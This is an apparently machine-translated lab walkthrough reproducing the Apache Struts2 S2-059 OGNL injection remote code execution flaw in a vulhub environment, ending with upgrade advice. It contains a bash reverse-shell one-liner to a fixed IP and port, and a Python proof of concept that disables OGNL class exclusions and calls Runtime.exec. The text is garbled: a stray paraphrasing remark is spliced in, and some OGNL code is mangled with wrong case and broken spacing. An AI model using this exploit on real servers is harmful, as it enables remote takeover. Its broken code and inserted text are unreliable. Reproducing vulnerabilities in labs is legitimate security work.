Struts2 S2-059 What is the recurrence of remote code execution vulnerability?

<p>0x00 Introduction Struts2 is a powerful Java Web open source framework launched by Apache software organization, which is essentially equivalent to a servlet. Struts2 is based on MVC architecture with clear frame structure. It is usually used as a Controller to establish data interaction between models and views, which is used to create enterprise-level Java web applications. It uses and extends Java Servlet API to encourage developers to adopt MVC architecture. Struts2 takes the excellent design idea of WebWork as the core, absorbs some advantages of Struts framework, and provides a cleaner Web application framework for MVC design pattern.</p><p>Overview of 0x01 vulnerability An attacker can construct a malicious OGNL expression and set it to the property value of Struts2 tag that can be modified by external input and will execute the OGNL expression, which will lead to OGNL expression parsing, and ultimately affect the remote code execution.</p><p>0x02 Scope of influence Struts 2.0.0–Struts 2.5.20</p><p>0x03 environment building 1. This vulnerability environment is quickly built using vulhub, and the download address of vulhub is as follows:</p><p>https://github.com/vulhub/vulhub</p><p>cd vulhub-master/struts2/s2-059</p><p>2. Use docker-compose to quickly build a shooting range environment.</p><p>docker-compose up -d</p><p>3. After startup, visit http://ip:8080/? Id=1, you can see the test interface.</p><p>0x04 vulnerability reappears 1. Visit http://ip:8080/? Id=%25{88*88}, it can be found that the executed 88*88 was successfully parsed, and the attribute value of Struts2 tag of OGNL expression will be executed, causing OGNL expression parsing.</p><p>2. Use poc to bounce the shell, and the payload of bouncing the shell needs to use base64 coding.</p><p>bash -i &gt;&amp; /dev/tcp/172.16.1.132/9967 0&gt;&amp;1</p><p>Base64 coded website:</p><p>The original sentence is already a complete sentence that is providing a link. If I were to rewrite it, &nbsp;it could be something like:Here is a link to a webpage containing information about runtime exec payloads: &nbsp;http://www.jackson-t.ca/runtime-exec-payloads.html.</p><p>import requestsurl = &quot;http://127.0.0.1:8080&quot;data1 = {&quot;id&quot;: &quot;%{(#context=#attr[&#39;struts.valueStack&#39;].context).(#container=# context[&#39;com.opensymphony.xwork2.ActionContext.container&#39;]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(# ognlUtil.setExcludedClasses(&#39;&#39;)).(#ognlUtil.setExcludedPackageNames(&#39;&#39;))}&quot;}data2 = {&quot;id&quot;: &quot;%{(#context=#attr[&#39;struts.valueStack&#39;].context).(# Context.setmemberaccess (@ ognl.ognlcontext @ default _ member _ access)). (@ java.lang.runtime @ getruntime (). exec (&#39;payload-base64 encoding&#39;))} &quot;} res1 = requests.post(url, data=data1)res2 = requests.post(url, data=data2)</p><p>3. Modify the payload in poc to its own payload, and then run it in python, and you can see that the shell bounces.</p><p>0x05 Repair suggestion 1. Upgrade to Struts 2.5.22 or later.</p><p>2. Open the ONGL expression to inject protection measures.</p><p>https://struts.apache.org/security/#proactively-protect-from-ognl-expression-injections-attacks-if-easily-applicable</p>